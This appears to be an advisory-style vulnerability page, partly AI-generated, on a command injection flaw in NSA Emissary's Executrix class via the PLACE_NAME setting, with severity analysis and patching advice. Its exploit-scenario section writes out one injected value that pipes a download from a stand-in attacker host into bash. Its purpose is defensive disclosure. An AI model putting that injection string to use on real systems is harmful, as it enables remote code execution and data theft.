Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious PLACE_NAME parameter
-
ExploitInject shell metacharacters into configuration
-
ExecutionExecutrix concatenates unsanitized value
-
ImpactExecute arbitrary commands via /bin/sh -c
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires high-privilege administrative access to Emissary versions prior to 8.39.0. Attacker must configure or modify the PLACE_NAME parameter in Emissary's configuration to inject shell metacharacters (;, |, $, `, (, ), etc.). Exploitation occurs when Executrix utility processes workflow commands using this malicious configuration. |
| Impact | Real-world exploitation risk requires careful contextualization of conflicting severity signals. The CVSS 7.2 High score indicates significant impact potential (complete confidentiality, integrity, and availability compromise per C:H/I:H/A:H), with network attack vector (AV:N) and low complexity (AC:L) suggesting ease of exploitation once access is obtained. However, the critical limiting factor is the PR:H (high privileges required) constraint, meaning only authenticated administrators can exploit this vulnerability. This substantially reduces the realistic threat surface compared to unauthenticated remote code execution vulnerabilities. In enterprise environments where administrative access follows principle of least privilege and monitoring practices, exploitation requires either insider threat or prior credential compromise. The attack is not automatable at scale due to authentication requirements. EPSS probability data is unavailable for assessment, and no CISA KEV listing exists indicating active exploitation campaigns. The vulnerability's severity stems from post-exploitation impact rather than accessibility-if an attacker has already compromised administrator credentials, this provides an additional command execution vector within the Emissary workflow engine context. Organizations should prioritize patching based on whether Emissary handles sensitive data workflows and the strength of existing administrative access controls. |
| Exploit ScenarioDerived | An attacker who has compromised Emissary administrator credentials (through phishing, credential stuffing, or lateral movement) modifies the PLACE_NAME configuration parameter to include malicious shell metacharacters, such as setting PLACE_NAME to legitimate_name; curl attacker.com/payload.sh | bash. When the Executrix utility constructs the next shell command for workflow execution, the insufficient sanitization allows the injected commands to execute under the Emissary process context via /bin/sh -c, enabling the attacker to exfiltrate sensitive workflow data, establish persistent backdoors, or pivot to connected systems within the P2P network. The low attack complexity (AC:L) means exploitation requires only basic command injection knowledge once administrative access exists. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 07, 2026
Command injection in NSA Emissary P2P workflow engine (versions prior to 8.39.0) allows authenticated remote administrators to execute arbitrary shell commands through unsanitized PLACE_NAME parameter values. The Executrix utility class passes configuration-derived values directly to /bin/sh -c with only space-to-underscore sanitization, enabling shell metacharacters (semicolons, pipes, backticks) to trigger command execution. CVSS 7.2 (High) reflects network accessibility with low attack complexity, though exploitation requires high-privilege administrator credentials (PR:H). No public exploit code identified at time of analysis, with EPSS data unavailable for this recent CVE. Vendor-released patch available in version 8.39.0 per GitHub security advisory.
RemediationAI
Upgrade NSA Emissary to version 8.39.0 or later, which implements proper input sanitization for the PLACE_NAME parameter and other configuration-derived values passed to shell execution contexts. The vendor-released patch addresses the root cause by replacing dangerous string concatenation with parameterized command construction or comprehensive sanitization that neutralizes shell metacharacters beyond just spaces. Organizations should obtain the patched version from the official NSA GitHub repository and follow standard change management procedures for workflow engine updates. Review existing PLACE_NAME configuration values for any evidence of malicious metacharacter injection that may indicate prior exploitation attempts. If immediate patching is not feasible, implement compensating controls including strict validation of all Emissary configuration parameters, enhanced monitoring of administrative account activity within Emissary systems, and restriction of administrative access to trusted networks only. Consult the official security advisory at https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v for additional vendor-specific remediation guidance and implementation notes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Emissary is the National Security Agency's open-source P2P data-driven workflow engine. The vulnerability resides in the Executrix utility class, which constructs shell commands through string concatenation using configuration parameters including PLACE_NAME. The affected component implements CWE-78 (OS Command Injection) by passing inadequately sanitized input to /bin/sh -c execution context. Only whitespace characters undergo transformation (spaces replaced with underscores), allowing dangerous shell metacharacters like semicolons (command chaining), pipes (command redirection), dollar signs (variable expansion), backticks (command substitution), and parentheses (subshell execution) to remain intact. The CPE identifier cpe:2.3:a:nationalsecurityagency:emissary:*:*:*:*:*:*:*:* confirms this affects the NSA's Emissary product line. Configuration-derived execution paths create persistent injection vectors since PLACE_NAME values typically originate from system configuration files that administrators control.
Know when Emissary gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values - including the PLACE_NAME parameter - with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.
Executive ViewAI
CVE-2026-35581 affects NSA Emissary P2P workflow engine versions before 8.39.0, allowing authenticated administrators to execute arbitrary commands on affected systems through improper input validation in the PLACE_NAME parameter. Organizations running vulnerable versions face risk of unauthorized code execution by privileged users, potentially enabling lateral movement, data exfiltration, or system compromise.
Vendor-released patch: NSA Emissary P2P version 8.39.0. Until patched, restrict PLACE_NAME parameter modifications to a minimal set of trusted administrators; implement command-line auditing on affected systems; monitor workflow engine logs for suspicious shell metacharacters in configuration values.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Emissary Shell Injection and Path Traversal
View all 3Emissary is a P2P-based, data-driven workflow engine. Rated critical severity (CVSS 9.9), this vulnerability is remotely
Emissary is a P2P based data-driven workflow engine. Rated critical severity (CVSS 9.1), this vulnerability is remotely
The ConsoleAction component of U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authe
The ConfigFileAction component of U.S. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low
A Cross-site scripting (XSS) vulnerability in the DocumentAction component of U.S. Rated medium severity (CVSS 6.1), thi
U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch
U.S. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch
Emissary is a distributed, peer-to-peer, data-driven workflow framework. Rated high severity (CVSS 7.2), this vulnerabil
Stored cross-site scripting in Emissary prior to 8.39.0 allows authenticated administrators to inject malicious javascri
EUVD-2026-19730
GHSA-6c37-7w4p-jg9v
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB